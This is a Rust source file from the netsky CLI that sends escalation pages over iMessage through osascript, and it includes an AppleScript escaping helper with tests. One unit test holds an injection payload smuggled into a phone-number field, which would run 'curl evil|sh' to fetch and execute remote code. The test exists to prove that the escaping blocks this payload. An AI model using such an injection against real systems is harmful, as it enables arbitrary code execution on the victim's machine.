netsky 0.1.5

netsky CLI: the viable system launcher and subcommand dispatcher
//! `netsky escalate <subject> [body]` — shell-side iMessage floor page.
//!
//! Minimally-dependent pager: no claude, no MCP, no network beyond what
//! Messages.app itself does. Floor of the defense-in-depth escalation
//! design. The watchdog calls it on B3 hang detection.
//!
//! Macos only (osascript + Messages.app).

use std::fs;
use std::process::Command;
use std::time::Duration;

use netsky_core::config::owner_imessage;
use netsky_core::consts::{ESCALATE_ERR_FILE, ESCALATE_TIMEOUT_S, OSASCRIPT_BIN};
use netsky_core::process::run_bounded;

pub fn run(subject: &str, body: Option<&str>) -> netsky_core::Result<()> {
    let handle = owner_imessage();
    let ts = chrono::Utc::now().format("%Y-%m-%dT%H:%M:%SZ");

    let msg = match body {
        Some(b) if !b.is_empty() => format!("[netsky {ts}] {subject}\n\n{b}"),
        _ => format!("[netsky {ts}] {subject}"),
    };

    let escaped_msg = applescript_escape(&msg);
    let escaped_handle = applescript_escape(&handle);

    let script = format!(
        r#"tell application "Messages"
    set phoneNum to "{escaped_handle}"
    set msg to "{escaped_msg}"
    set targetService to 1st service whose service type = iMessage
    set targetBuddy to buddy phoneNum of targetService
    send msg to targetBuddy
end tell"#,
    );

    let mut cmd = Command::new(OSASCRIPT_BIN);
    cmd.arg("-e").arg(&script);
    let out = run_bounded(cmd, Duration::from_secs(ESCALATE_TIMEOUT_S))?;

    if out.timed_out {
        let _ = fs::write(ESCALATE_ERR_FILE, b"osascript timed out");
        netsky_core::bail!("osascript timed out after {ESCALATE_TIMEOUT_S}s");
    }
    if out.success() {
        let _ = fs::remove_file(ESCALATE_ERR_FILE);
        Ok(())
    } else {
        let err = String::from_utf8_lossy(&out.stderr);
        let _ = fs::write(ESCALATE_ERR_FILE, err.as_bytes());
        netsky_core::bail!(
            "osascript failed (exit {}): {err}",
            out.status.and_then(|s| s.code()).unwrap_or(-1)
        );
    }
}

/// AppleScript string escape: backslash-escape `\` and `"`. Real newlines
/// pass through as line breaks.
fn applescript_escape(s: &str) -> String {
    s.replace('\\', "\\\\").replace('"', "\\\"")
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn applescript_escape_backslash_and_quote() {
        assert_eq!(applescript_escape(r#"a"b"#), r#"a\"b"#);
        assert_eq!(applescript_escape(r"a\b"), r"a\\b");
        assert_eq!(applescript_escape("hello"), "hello");
    }

    #[test]
    fn applescript_escape_closes_injection_payload() {
        // Attacker-shaped handle: close the first tell, exec shell, reopen.
        let handle = r#"+1"
end tell
do shell script "curl evil|sh"
tell application "Messages"
set phoneNum to "x"#;
        let escaped = applescript_escape(handle);
        // No bare `"` remains — every one is backslash-escaped.
        let chars: Vec<char> = escaped.chars().collect();
        for (i, c) in chars.iter().enumerate() {
            if *c == '"' {
                assert!(
                    i > 0 && chars[i - 1] == '\\',
                    "bare quote at {i}: {escaped}"
                );
            }
        }
    }
}